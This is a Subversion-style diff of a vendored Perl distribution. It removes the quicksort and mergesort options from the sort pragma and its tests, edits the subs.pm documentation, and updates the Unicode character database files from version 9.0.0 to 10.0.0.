-	    $^H{sort} &= ~$sort::sort_bits;
-	} elsif ($_ eq 'stable') {
+	if ($_ eq 'stable') {
 	    $^H{sort} &= ~$sort::stable_bit;
+	    $^H{sort} |=  $sort::unstable_bit;
 	} else {
 	    require Carp;
 	    Carp::croak("sort: unknown subpragma '$_'");
@@ -63,11 +53,8 @@
 sub current {
     my @sort;
     if ($^H{sort}) {
-	push @sort, 'quicksort' if $^H{sort} & $sort::quicksort_bit;
-	push @sort, 'mergesort' if $^H{sort} & $sort::mergesort_bit;
 	push @sort, 'stable'    if $^H{sort} & $sort::stable_bit;
     }
-    push @sort, 'mergesort' unless @sort;
     join(' ', @sort);
 }
 
@@ -81,16 +68,12 @@
 =head1 SYNOPSIS
 
     use sort 'stable';		# guarantee stability
-    use sort '_quicksort';	# use a quicksort algorithm
-    use sort '_mergesort';	# use a mergesort algorithm
     use sort 'defaults';	# revert to default behavior
     no  sort 'stable';		# stability not important
 
-    use sort '_qsort';		# alias for quicksort
-
     my $current;
     BEGIN {
-	$current = sort::current();	# identify prevailing algorithm
+	$current = sort::current();	# identify prevailing pragmata
     }
 
 =head1 DESCRIPTION
@@ -98,15 +81,8 @@
 With the C<sort> pragma you can control the behaviour of the builtin
 C<sort()> function.
 
-In Perl versions 5.6 and earlier the quicksort algorithm was used to
-implement C<sort()>, but in Perl 5.8 a mergesort algorithm was also made
-available, mainly to guarantee worst case O(N log N) behaviour:
-the worst case of quicksort is O(N**2).  In Perl 5.8 and later,
-quicksort defends against quadratic behaviour by shuffling large
-arrays before sorting.
-
 A stable sort means that for records that compare equal, the original
-input ordering is preserved.  Mergesort is stable, quicksort is not.
+input ordering is preserved.
 Stability will matter only if elements that compare equal can be
 distinguished in some other way.  That means that simple numerical
 and lexical sorts do not profit from stability, since equal elements
@@ -116,22 +92,10 @@
 
 stability might matter because elements that compare equal on the
 first 3 characters may be distinguished based on subsequent characters.
-In Perl 5.8 and later, quicksort can be stabilized, but doing so will
-add overhead, so it should only be done if it matters.
 
-The best algorithm depends on many things.  On average, mergesort
-does fewer comparisons than quicksort, so it may be better when
-complicated comparison routines are used.  Mergesort also takes
-advantage of pre-existing order, so it would be favored for using
-C<sort()> to merge several sorted arrays.  On the other hand, quicksort
-is often faster for small arrays, and on arrays of a few distinct
-values, repeated many times.  You can force the
-choice of algorithm with this pragma, but this feels heavy-handed,
-so the subpragmas beginning with a C<_> may not persist beyond Perl 5.8.
-The default algorithm is mergesort, which will be stable even if
-you do not explicitly demand it.
-But the stability of the default sort is a side-effect that could
-change in later versions.  If stability is important, be sure to
+Whether sorting is stable by default is an accident of implementation
+that can change (and has changed) between Perl versions.
+If stability is important, be sure to
 say so with a
 
   use sort 'stable';
@@ -139,16 +103,10 @@
 The C<no sort> pragma doesn't
 I<forbid> what follows, it just leaves the choice open.  Thus, after
 
-  no sort qw(_mergesort stable);
+  no sort 'stable';
 
-a mergesort, which happens to be stable, will be employed anyway.
-Note that
+sorting may happen to be stable anyway.
 
-  no sort "_quicksort";
-  no sort "_mergesort";
-
-have exactly the same effect, leaving the choice of sort algorithm open.
-
 =head1 CAVEATS
 
 As of Perl 5.10, this pragma is lexically scoped and takes effect
@@ -156,8 +114,7 @@
 effect at run-time; the documentation suggested using C<eval()> to
 change the behaviour:
 
-  { eval 'use sort qw(defaults _quicksort)'; # force quicksort
-    eval 'no sort "stable"';      # stability not wanted
+  { eval 'no sort "stable"';      # stability not wanted
     print sort::current . "\n";
     @a = sort @b;
     eval 'use sort "defaults"';   # clean up, for others
@@ -177,8 +134,7 @@
 
 So now this code would be written:
 
-  { use sort qw(defaults _quicksort); # force quicksort
-    no sort "stable";      # stability not wanted
+  { no sort "stable";      # stability not wanted
     my $current;
     BEGIN { $current = sort::current; }
     print "$current\n";

Modified: vendor/perl/dist/lib/sort.t
===================================================================
--- vendor/perl/dist/lib/sort.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/sort.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -26,10 +26,8 @@
 use warnings;
 
 use Test::More tests => @TestSizes * 2	# sort() tests
-			* 6		# number of pragmas to test
-			+ 1 		# extra test for qsort instability
-			+ 3		# tests for sort::current
-			+ 3;		# tests for "defaults" and "no sort"
+			* 3		# number of pragmas to test
+			+ 2;		# tests for sort::current
 
 # Generate array of specified size for testing sort.
 #
@@ -130,27 +128,28 @@
     }
 }
 
-# Test with no pragma still loaded -- stability expected (this is a mergesort)
+# Test with no pragma yet loaded. Stability is expected from default sort.
 main(sub { sort {&{$_[0]}} @{$_[1]} }, 0);
 
-{
-    use sort qw(_qsort);
-    my $sort_current; BEGIN { $sort_current = sort::current(); }
-    is($sort_current, 'quicksort', 'sort::current for _qsort');
-    main(sub { sort {&{$_[0]}} @{$_[1]} }, 1);
-}
+# Verify that we have eliminated the segfault that could be triggered
+# by invoking a sort as part of a comparison routine.
+# No need for an explicit test. If we don't segfault, we're good.
 
 {
-    use sort qw(_mergesort);
-    my $sort_current; BEGIN { $sort_current = sort::current(); }
-    is($sort_current, 'mergesort', 'sort::current for _mergesort');
-    main(sub { sort {&{$_[0]}} @{$_[1]} }, 0);
+    sub dumbsort {
+	my ($a, $b) = @_;
+	use sort qw( defaults stable );
+	my @ignore = sort (5,4,3,2,1);
+	return $a <=> $b;
+    }
+    use sort qw( defaults stable );
+    my @nested = sort { dumbsort($a,$b) } (3,2,2,1);
 }
 
 {
-    use sort qw(_qsort stable);
+    use sort qw(stable);
     my $sort_current; BEGIN { $sort_current = sort::current(); }
-    is($sort_current, 'quicksort stable', 'sort::current for _qsort stable');
+    is($sort_current, 'stable', 'sort::current for stable');
     main(sub { sort {&{$_[0]}} @{$_[1]} }, 0);
 }
 
@@ -157,21 +156,6 @@
 # Tests added to check "defaults" subpragma, and "no sort"
 
 {
-    use sort qw(_qsort stable);
-    no sort qw(_qsort);
-    my $sort_current; BEGIN { $sort_current = sort::current(); }
-    is($sort_current, 'stable', 'sort::current after no _qsort');
-    main(sub { sort {&{$_[0]}} @{$_[1]} }, 0);
-}
-
-{
-    use sort qw(defaults _qsort);
-    my $sort_current; BEGIN { $sort_current = sort::current(); }
-    is($sort_current, 'quicksort', 'sort::current after defaults _qsort');
-    # Not expected to be stable, so don't test for stability here
-}
-
-{
     use sort qw(defaults stable);
     my $sort_current; BEGIN { $sort_current = sort::current(); }
     is($sort_current, 'stable', 'sort::current after defaults stable');

Modified: vendor/perl/dist/lib/subs.pm
===================================================================
--- vendor/perl/dist/lib/subs.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/subs.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,10 +1,10 @@
 package subs;
 
-our $VERSION = '1.02';
+our $VERSION = '1.03';
 
 =head1 NAME
 
-subs - Perl pragma to predeclare sub names
+subs - Perl pragma to predeclare subroutine names
 
 =head1 SYNOPSIS
 
@@ -13,13 +13,14 @@
 
 =head1 DESCRIPTION
 
-This will predeclare all the subroutine whose names are 
-in the list, allowing you to use them without parentheses
+This will predeclare all the subroutines whose names are
+in the list, allowing you to use them without parentheses (as list operators)
 even before they're declared.
 
 Unlike pragmas that affect the C<$^H> hints variable, the C<use vars> and
-C<use subs> declarations are not BLOCK-scoped.  They are thus effective
-for the entire package in which they appear.  You may not rescind such
+C<use subs> declarations are not lexically scoped to the block they appear
+in: they affect
+the entire package in which they appear.  It is not possible to rescind these
 declarations with C<no vars> or C<no subs>.
 
 See L<perlmodlib/Pragmatic Modules> and L<strict/strict subs>.

Modified: vendor/perl/dist/lib/unicore/ArabicShaping.txt
===================================================================
--- vendor/perl/dist/lib/unicore/ArabicShaping.txt	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/unicore/ArabicShaping.txt	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,6 +1,6 @@
-# ArabicShaping-9.0.0.txt
-# Date: 2016-02-24, 22:25:00 GMT [RP]
-# © 2016 Unicode®, Inc.
+# ArabicShaping-10.0.0.txt
+# Date: 2017-02-16, 00:00:00 GMT [RP, KW]
+# © 2017 Unicode®, Inc.
 # Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries.
 # For terms of use, see http://www.unicode.org/terms_of_use.html
 #
@@ -86,7 +86,7 @@
 # Note: Code points that are not explicitly listed in this file are
 # either of joining type T or U:
 #
-# - Those that not explicitly listed that are of General Category Mn, Me, or Cf
+# - Those that are not explicitly listed and that are of General Category Mn, Me, or Cf
 #   have joining type T.
 # - All others not explicitly listed have joining type U.
 #
@@ -413,6 +413,20 @@
 0857; MANDAIC KAD; U; No_Joining_Group
 0858; MANDAIC AIN; U; No_Joining_Group
 
+# Syriac Supplement Characters
+
+0860; MALAYALAM NGA; D; MALAYALAM NGA
+0861; MALAYALAM JA; U; MALAYALAM JA
+0862; MALAYALAM NYA; D; MALAYALAM NYA
+0863; MALAYALAM TTA; D; MALAYALAM TTA
+0864; MALAYALAM NNA; D; MALAYALAM NNA
+0865; MALAYALAM NNNA; D; MALAYALAM NNNA
+0866; MALAYALAM BHA; U; MALAYALAM BHA
+0867; MALAYALAM RA; R; MALAYALAM RA
+0868; MALAYALAM LLA; D; MALAYALAM LLA
+0869; MALAYALAM LLLA; R; MALAYALAM LLLA
+086A; MALAYALAM SSA; R; MALAYALAM SSA
+
 # Arabic Extended-A Characters
 
 08A0; DOTLESS BEH WITH V BELOW; D; BEH

Modified: vendor/perl/dist/lib/unicore/BidiBrackets.txt
===================================================================
--- vendor/perl/dist/lib/unicore/BidiBrackets.txt	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/unicore/BidiBrackets.txt	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,6 +1,6 @@
-# BidiBrackets-9.0.0.txt
-# Date: 2016-06-07, 22:30:00 GMT [AG, LI, KW]
-# © 2016 Unicode®, Inc.
+# BidiBrackets-10.0.0.txt
+# Date: 2017-04-12, 17:30:00 GMT [AG, LI, KW]
+# © 2017 Unicode®, Inc.
 # Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries.
 # For terms of use, see http://www.unicode.org/terms_of_use.html
 #
@@ -8,7 +8,7 @@
 # For documentation, see http://www.unicode.org/reports/tr44/
 #
 # Bidi_Paired_Bracket and Bidi_Paired_Bracket_Type Properties
-# 
+#
 # This file is a normative contributory data file in the Unicode
 # Character Database.
 #

Modified: vendor/perl/dist/lib/unicore/BidiMirroring.txt
===================================================================
--- vendor/perl/dist/lib/unicore/BidiMirroring.txt	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/unicore/BidiMirroring.txt	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,6 +1,6 @@
-# BidiMirroring-9.0.0.txt
-# Date: 2016-01-21, 22:00:00 GMT [KW, LI]
-# © 2016 Unicode®, Inc.
+# BidiMirroring-10.0.0.txt
+# Date: 2017-04-12, 17:30:00 GMT [KW, LI]
+# © 2017 Unicode®, Inc.
 # For terms of use, see http://www.unicode.org/terms_of_use.html
 #
 # Unicode Character Database
@@ -7,7 +7,7 @@
 # For documentation, see http://www.unicode.org/reports/tr44/
 #
 # Bidi_Mirroring_Glyph Property
-# 
+#
 # This file is an informative contributory data file in the
 # Unicode Character Database.
 #
@@ -15,20 +15,20 @@
 # value, for which there is another Unicode character that typically has a glyph
 # that is the mirror image of the original character's glyph.
 #
-# The repertoire covered by the file is Unicode 9.0.0.
-# 
+# The repertoire covered by the file is Unicode 10.0.0.
+#
 # The file contains a list of lines with mappings from one code point
 # to another one for character-based mirroring.
 # Note that for "real" mirroring, a rendering engine needs to select
 # appropriate alternative glyphs, and that many Unicode characters do not
 # have a mirror-image Unicode character.
-# 
+#
 # Each mapping line contains two fields, separated by a semicolon (';').
 # Each of the two fields contains a code point represented as a
 # variable-length hexadecimal value with 4 to 6 digits.
 # A comment indicates where the characters are "BEST FIT" mirroring.
-# 
-# Code points for which Bidi_Mirrored=Yes, but for which no appropriate 
+#
+# Code points for which Bidi_Mirrored=Yes, but for which no appropriate
 # characters exist with mirrored glyphs, are
 # listed as comments at the end of the file.
 #
@@ -38,14 +38,14 @@
 # point has the default value for the Bidi_Mirroring_Glyph property,
 # that means that no other character exists whose glyph is suitable
 # for character-based mirroring.
-# 
+#
 # For information on bidi mirroring, see UAX #9: Unicode Bidirectional Algorithm,
 # at http://www.unicode.org/unicode/reports/tr9/
-# 
+#
 # This file was originally created by Markus Scherer.
 # Extended for Unicode 3.2, 4.0, 4.1, 5.0, 5.1, 5.2, and 6.0 by Ken Whistler,
 # and for subsequent versions by Ken Whistler and Laurentiu Iancu.
-# 
+#
 # ############################################################
 #
 # Property:	Bidi_Mirroring_Glyph

Modified: vendor/perl/dist/lib/unicore/Blocks.txt
===================================================================
--- vendor/perl/dist/lib/unicore/Blocks.txt	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/unicore/Blocks.txt	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,6 +1,6 @@
-# Blocks-9.0.0.txt
-# Date: 2016-02-05, 23:48:00 GMT [KW]
-# © 2016 Unicode®, Inc.
+# Blocks-10.0.0.txt
+# Date: 2017-04-12, 17:30:00 GMT [KW]
+# © 2017 Unicode®, Inc.
 # For terms of use, see http://www.unicode.org/terms_of_use.html
 #
 # Unicode Character Database
@@ -14,12 +14,12 @@
 # Note:   When comparing block names, casing, whitespace, hyphens,
 #         and underbars are ignored.
 #         For example, "Latin Extended-A" and "latin extended a" are equivalent.
-#         For more information on the comparison of property values, 
+#         For more information on the comparison of property values,
 #            see UAX #44: http://www.unicode.org/reports/tr44/
 #
 #  All block ranges start with a value where (cp MOD 16) = 0,
 #  and end with a value where (cp MOD 16) = 15. In other words,
-#  the last hexadecimal digit of the start of range is ...0 
+#  the last hexadecimal digit of the start of range is ...0
 #  and the last hexadecimal digit of the end of range is ...F.
 #  This constraint on block ranges guarantees that allocations
 #  are done in terms of whole columns, and that code chart display
@@ -51,6 +51,7 @@
 07C0..07FF; NKo
 0800..083F; Samaritan
 0840..085F; Mandaic
+0860..086F; Syriac Supplement
 08A0..08FF; Arabic Extended-A
 0900..097F; Devanagari
 0980..09FF; Bengali
@@ -253,9 +254,12 @@
 11680..116CF; Takri
 11700..1173F; Ahom
 118A0..118FF; Warang Citi
+11A00..11A4F; Zanabazar Square
+11A50..11AAF; Soyombo
 11AC0..11AFF; Pau Cin Hau
 11C00..11C6F; Bhaiksuki
 11C70..11CBF; Marchen
+11D00..11D5F; Masaram Gondi
 12000..123FF; Cuneiform
 12400..1247F; Cuneiform Numbers and Punctuation
 12480..1254F; Early Dynastic Cuneiform
@@ -270,6 +274,8 @@
 17000..187FF; Tangut
 18800..18AFF; Tangut Components
 1B000..1B0FF; Kana Supplement
+1B100..1B12F; Kana Extended-A
+1B170..1B2FF; Nushu
 1BC00..1BC9F; Duployan
 1BCA0..1BCAF; Shorthand Format Controls
 1D000..1D0FF; Byzantine Musical Symbols
@@ -300,6 +306,7 @@
 2A700..2B73F; CJK Unified Ideographs Extension C
 2B740..2B81F; CJK Unified Ideographs Extension D
 2B820..2CEAF; CJK Unified Ideographs Extension E
+2CEB0..2EBEF; CJK Unified Ideographs Extension F
 2F800..2FA1F; CJK Compatibility Ideographs Supplement
 E0000..E007F; Tags
 E0100..E01EF; Variation Selectors Supplement

Modified: vendor/perl/dist/lib/unicore/CJKRadicals.txt
===================================================================
--- vendor/perl/dist/lib/unicore/CJKRadicals.txt	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/unicore/CJKRadicals.txt	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,6 +1,6 @@
-# CJKRadicals-9.0.0.txt
-# Date: 2016-01-22, 06:00:00 GMT [RC, KW, LI]
-# © 2016 Unicode®, Inc.
+# CJKRadicals-10.0.0.txt
+# Date: 2017-02-15, 00:00:00 GMT [RC, KW, LI]
+# © 2017 Unicode®, Inc.
 # For terms of use, see http://www.unicode.org/terms_of_use.html
 #
 # Unicode Character Database

Modified: vendor/perl/dist/lib/unicore/CaseFolding.txt
===================================================================
--- vendor/perl/dist/lib/unicore/CaseFolding.txt	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/unicore/CaseFolding.txt	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,6 +1,6 @@
-# CaseFolding-9.0.0.txt
-# Date: 2016-03-02, 18:54:54 GMT
-# © 2016 Unicode®, Inc.
+# CaseFolding-10.0.0.txt
+# Date: 2017-04-14, 05:40:18 GMT
+# © 2017 Unicode®, Inc.
 # Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries.
 # For terms of use, see http://www.unicode.org/terms_of_use.html
 #
@@ -24,7 +24,7 @@
 #
 # NOTE: case folding does not preserve normalization formats!
 #
-# For information on case folding, including how to have case folding 
+# For information on case folding, including how to have case folding
 # preserve normalization formats, see Section 3.13 Default Case Algorithms in
 # The Unicode Standard.
 #

Modified: vendor/perl/dist/lib/unicore/CompositionExclusions.txt
===================================================================
--- vendor/perl/dist/lib/unicore/CompositionExclusions.txt	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/unicore/CompositionExclusions.txt	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,6 +1,6 @@
-# CompositionExclusions-9.0.0.txt
-# Date: 2016-01-21, 22:00:00 GMT [KW, LI]
-# © 2016 Unicode®, Inc.
+# CompositionExclusions-10.0.0.txt
+# Date: 2017-02-15, 00:00:00 GMT [KW, LI]
+# © 2017 Unicode®, Inc.
 # For terms of use, see http://www.unicode.org/terms_of_use.html
 #
 # Unicode Character Database

Modified: vendor/perl/dist/lib/unicore/DAge.txt
===================================================================
--- vendor/perl/dist/lib/unicore/DAge.txt	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/unicore/DAge.txt	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,6 +1,6 @@
-# DerivedAge-9.0.0.txt
-# Date: 2016-03-02, 18:54:54 GMT
-# © 2016 Unicode®, Inc.
+# DerivedAge-10.0.0.txt
+# Date: 2017-04-14, 05:40:18 GMT
+# © 2017 Unicode®, Inc.
 # Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries.
 # For terms of use, see http://www.unicode.org/terms_of_use.html
 #
@@ -13,7 +13,7 @@
 # Notes:
 #
 # - The term 'assigned' means that a previously reserved code point was assigned
-#   to be a character (graphic, format, control, or private-use); 
+#   to be a character (graphic, format, control, or private-use);
 #   a noncharacter code point; or a surrogate code point.
 #   For more information, see The Unicode Standard Section 2.4
 #
@@ -1598,4 +1598,53 @@
 
 # Total code points: 7500
 
+# ================================================
+
+# Age=V10_0
+
+# Newly assigned in Unicode 10.0.0 (June, 2017)
+
+0860..086A    ; 10.0 #  [11] SYRIAC LETTER MALAYALAM NGA..SYRIAC LETTER MALAYALAM SSA
+09FC..09FD    ; 10.0 #   [2] BENGALI LETTER VEDIC ANUSVARA..BENGALI ABBREVIATION SIGN
+0AFA..0AFF    ; 10.0 #   [6] GUJARATI SIGN SUKUN..GUJARATI SIGN TWO-CIRCLE NUKTA ABOVE
+0D00          ; 10.0 #       MALAYALAM SIGN COMBINING ANUSVARA ABOVE
+0D3B..0D3C    ; 10.0 #   [2] MALAYALAM SIGN VERTICAL BAR VIRAMA..MALAYALAM SIGN CIRCULAR VIRAMA
+1CF7          ; 10.0 #       VEDIC SIGN ATIKRAMA
+1DF6..1DF9    ; 10.0 #   [4] COMBINING KAVYKA ABOVE RIGHT..COMBINING WIDE INVERTED BRIDGE BELOW
+20BF          ; 10.0 #       BITCOIN SIGN
+23FF          ; 10.0 #       OBSERVER EYE SYMBOL
+2BD2          ; 10.0 #       GROUP MARK
+2E45..2E49    ; 10.0 #   [5] INVERTED LOW KAVYKA..DOUBLE STACKED COMMA
+312E          ; 10.0 #       BOPOMOFO LETTER O WITH DOT ABOVE
+9FD6..9FEA    ; 10.0 #  [21] CJK UNIFIED IDEOGRAPH-9FD6..CJK UNIFIED IDEOGRAPH-9FEA
+1032D..1032F  ; 10.0 #   [3] OLD ITALIC LETTER YE..OLD ITALIC LETTER SOUTHERN TSE
+11A00..11A47  ; 10.0 #  [72] ZANABAZAR SQUARE LETTER A..ZANABAZAR SQUARE SUBJOINER
+11A50..11A83  ; 10.0 #  [52] SOYOMBO LETTER A..SOYOMBO LETTER KSSA
+11A86..11A9C  ; 10.0 #  [23] SOYOMBO CLUSTER-INITIAL LETTER RA..SOYOMBO MARK DOUBLE SHAD
+11A9E..11AA2  ; 10.0 #   [5] SOYOMBO HEAD MARK WITH MOON AND SUN AND TRIPLE FLAME..SOYOMBO TERMINAL MARK-2
+11D00..11D06  ; 10.0 #   [7] MASARAM GONDI LETTER A..MASARAM GONDI LETTER E
+11D08..11D09  ; 10.0 #   [2] MASARAM GONDI LETTER AI..MASARAM GONDI LETTER O
+11D0B..11D36  ; 10.0 #  [44] MASARAM GONDI LETTER AU..MASARAM GONDI VOWEL SIGN VOCALIC R
+11D3A         ; 10.0 #       MASARAM GONDI VOWEL SIGN E
+11D3C..11D3D  ; 10.0 #   [2] MASARAM GONDI VOWEL SIGN AI..MASARAM GONDI VOWEL SIGN O
+11D3F..11D47  ; 10.0 #   [9] MASARAM GONDI VOWEL SIGN AU..MASARAM GONDI RA-KARA
+11D50..11D59  ; 10.0 #  [10] MASARAM GONDI DIGIT ZERO..MASARAM GONDI DIGIT NINE
+16FE1         ; 10.0 #       NUSHU ITERATION MARK
+1B002..1B11E  ; 10.0 # [285] HENTAIGANA LETTER A-1..HENTAIGANA LETTER N-MU-MO-2
+1B170..1B2FB  ; 10.0 # [396] NUSHU CHARACTER-1B170..NUSHU CHARACTER-1B2FB
+1F260..1F265  ; 10.0 #   [6] ROUNDED SYMBOL FOR FU..ROUNDED SYMBOL FOR CAI
+1F6D3..1F6D4  ; 10.0 #   [2] STUPA..PAGODA
+1F6F7..1F6F8  ; 10.0 #   [2] SLED..FLYING SAUCER
+1F900..1F90B  ; 10.0 #  [12] CIRCLED CROSS FORMEE WITH FOUR DOTS..DOWNWARD FACING NOTCHED HOOK WITH DOT
+1F91F         ; 10.0 #       I LOVE YOU HAND SIGN
+1F928..1F92F  ; 10.0 #   [8] FACE WITH ONE EYEBROW RAISED..SHOCKED FACE WITH EXPLODING HEAD
+1F931..1F932  ; 10.0 #   [2] BREAST-FEEDING..PALMS UP TOGETHER
+1F94C         ; 10.0 #       CURLING STONE
+1F95F..1F96B  ; 10.0 #  [13] DUMPLING..CANNED FOOD
+1F992..1F997  ; 10.0 #   [6] GIRAFFE FACE..CRICKET
+1F9D0..1F9E6  ; 10.0 #  [23] FACE WITH MONOCLE..SOCKS
+2CEB0..2EBE0  ; 10.0 # [7473] CJK UNIFIED IDEOGRAPH-2CEB0..CJK UNIFIED IDEOGRAPH-2EBE0
+
+# Total code points: 8518
+
 # EOF

Modified: vendor/perl/dist/lib/unicore/DCoreProperties.txt
===================================================================
--- vendor/perl/dist/lib/unicore/DCoreProperties.txt	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/unicore/DCoreProperties.txt	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,6 +1,6 @@
-# DerivedCoreProperties-9.0.0.txt
-# Date: 2016-06-01, 10:34:24 GMT
-# © 2016 Unicode®, Inc.
+# DerivedCoreProperties-10.0.0.txt
+# Date: 2017-03-19, 00:05:15 GMT
+# © 2017 Unicode®, Inc.
 # Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries.
 # For terms of use, see http://www.unicode.org/terms_of_use.html
 #
@@ -340,6 +340,7 @@
 0828          ; Alphabetic # Lm       SAMARITAN MODIFIER LETTER I
 0829..082C    ; Alphabetic # Mn   [4] SAMARITAN VOWEL SIGN LONG I..SAMARITAN VOWEL SIGN SUKUN
 0840..0858    ; Alphabetic # Lo  [25] MANDAIC LETTER HALQA..MANDAIC LETTER AIN
+0860..086A    ; Alphabetic # Lo  [11] SYRIAC LETTER MALAYALAM NGA..SYRIAC LETTER MALAYALAM SSA
 08A0..08B4    ; Alphabetic # Lo  [21] ARABIC LETTER BEH WITH SMALL V BELOW..ARABIC LETTER KAF WITH DOT BELOW
 08B6..08BD    ; Alphabetic # Lo   [8] ARABIC LETTER BEH WITH SMALL MEEM ABOVE..ARABIC LETTER AFRICAN NOON
 08D4..08DF    ; Alphabetic # Mn  [12] ARABIC SMALL HIGH WORD AR-RUB..ARABIC SMALL HIGH WORD WAQFA
@@ -379,6 +380,7 @@
 09DF..09E1    ; Alphabetic # Lo   [3] BENGALI LETTER YYA..BENGALI LETTER VOCALIC LL
 09E2..09E3    ; Alphabetic # Mn   [2] BENGALI VOWEL SIGN VOCALIC L..BENGALI VOWEL SIGN VOCALIC LL
 09F0..09F1    ; Alphabetic # Lo   [2] BENGALI LETTER RA WITH MIDDLE DIAGONAL..BENGALI LETTER RA WITH LOWER DIAGONAL
+09FC          ; Alphabetic # Lo       BENGALI LETTER VEDIC ANUSVARA
 0A01..0A02    ; Alphabetic # Mn   [2] GURMUKHI SIGN ADAK BINDI..GURMUKHI SIGN BINDI
 0A03          ; Alphabetic # Mc       GURMUKHI SIGN VISARGA
 0A05..0A0A    ; Alphabetic # Lo   [6] GURMUKHI LETTER A..GURMUKHI LETTER UU
@@ -416,6 +418,7 @@
 0AE0..0AE1    ; Alphabetic # Lo   [2] GUJARATI LETTER VOCALIC RR..GUJARATI LETTER VOCALIC LL
 0AE2..0AE3    ; Alphabetic # Mn   [2] GUJARATI VOWEL SIGN VOCALIC L..GUJARATI VOWEL SIGN VOCALIC LL
 0AF9          ; Alphabetic # Lo       GUJARATI LETTER ZHA
+0AFA..0AFC    ; Alphabetic # Mn   [3] GUJARATI SIGN SUKUN..GUJARATI SIGN MADDAH
 0B01          ; Alphabetic # Mn       ORIYA SIGN CANDRABINDU
 0B02..0B03    ; Alphabetic # Mc   [2] ORIYA SIGN ANUSVARA..ORIYA SIGN VISARGA
 0B05..0B0C    ; Alphabetic # Lo   [8] ORIYA LETTER A..ORIYA LETTER VOCALIC L
@@ -491,7 +494,7 @@
 0CE0..0CE1    ; Alphabetic # Lo   [2] KANNADA LETTER VOCALIC RR..KANNADA LETTER VOCALIC LL
 0CE2..0CE3    ; Alphabetic # Mn   [2] KANNADA VOWEL SIGN VOCALIC L..KANNADA VOWEL SIGN VOCALIC LL
 0CF1..0CF2    ; Alphabetic # Lo   [2] KANNADA SIGN JIHVAMULIYA..KANNADA SIGN UPADHMANIYA
-0D01          ; Alphabetic # Mn       MALAYALAM SIGN CANDRABINDU
+0D00..0D01    ; Alphabetic # Mn   [2] MALAYALAM SIGN COMBINING ANUSVARA ABOVE..MALAYALAM SIGN CANDRABINDU
 0D02..0D03    ; Alphabetic # Mc   [2] MALAYALAM SIGN ANUSVARA..MALAYALAM SIGN VISARGA
 0D05..0D0C    ; Alphabetic # Lo   [8] MALAYALAM LETTER A..MALAYALAM LETTER VOCALIC L
 0D0E..0D10    ; Alphabetic # Lo   [3] MALAYALAM LETTER E..MALAYALAM LETTER AI
@@ -792,12 +795,12 @@
 30A1..30FA    ; Alphabetic # Lo  [90] KATAKANA LETTER SMALL A..KATAKANA LETTER VO
 30FC..30FE    ; Alphabetic # Lm   [3] KATAKANA-HIRAGANA PROLONGED SOUND MARK..KATAKANA VOICED ITERATION MARK
 30FF          ; Alphabetic # Lo       KATAKANA DIGRAPH KOTO
-3105..312D    ; Alphabetic # Lo  [41] BOPOMOFO LETTER B..BOPOMOFO LETTER IH
+3105..312E    ; Alphabetic # Lo  [42] BOPOMOFO LETTER B..BOPOMOFO LETTER O WITH DOT ABOVE
 3131..318E    ; Alphabetic # Lo  [94] HANGUL LETTER KIYEOK..HANGUL LETTER ARAEAE
 31A0..31BA    ; Alphabetic # Lo  [27] BOPOMOFO LETTER BU..BOPOMOFO LETTER ZY
 31F0..31FF    ; Alphabetic # Lo  [16] KATAKANA LETTER SMALL KU..KATAKANA LETTER SMALL RO
 3400..4DB5    ; Alphabetic # Lo [6582] CJK UNIFIED IDEOGRAPH-3400..CJK UNIFIED IDEOGRAPH-4DB5
-4E00..9FD5    ; Alphabetic # Lo [20950] CJK UNIFIED IDEOGRAPH-4E00..CJK UNIFIED IDEOGRAPH-9FD5
+4E00..9FEA    ; Alphabetic # Lo [20971] CJK UNIFIED IDEOGRAPH-4E00..CJK UNIFIED IDEOGRAPH-9FEA
 A000..A014    ; Alphabetic # Lo  [21] YI SYLLABLE IT..YI SYLLABLE E
 A015          ; Alphabetic # Lm       YI SYLLABLE WU
 A016..A48C    ; Alphabetic # Lo [1143] YI SYLLABLE BIT..YI SYLLABLE YYR
@@ -955,7 +958,7 @@
 10280..1029C  ; Alphabetic # Lo  [29] LYCIAN LETTER A..LYCIAN LETTER X
 102A0..102D0  ; Alphabetic # Lo  [49] CARIAN LETTER A..CARIAN LETTER UUU3
 10300..1031F  ; Alphabetic # Lo  [32] OLD ITALIC LETTER A..OLD ITALIC LETTER ESS
-10330..10340  ; Alphabetic # Lo  [17] GOTHIC LETTER AHSA..GOTHIC LETTER PAIRTHRA
+1032D..10340  ; Alphabetic # Lo  [20] OLD ITALIC LETTER YE..GOTHIC LETTER PAIRTHRA
 10341         ; Alphabetic # Nl       GOTHIC LETTER NINETY
 10342..10349  ; Alphabetic # Lo   [8] GOTHIC LETTER RAIDA..GOTHIC LETTER OTHAL
 1034A         ; Alphabetic # Nl       GOTHIC LETTER NINE HUNDRED
@@ -1115,6 +1118,23 @@
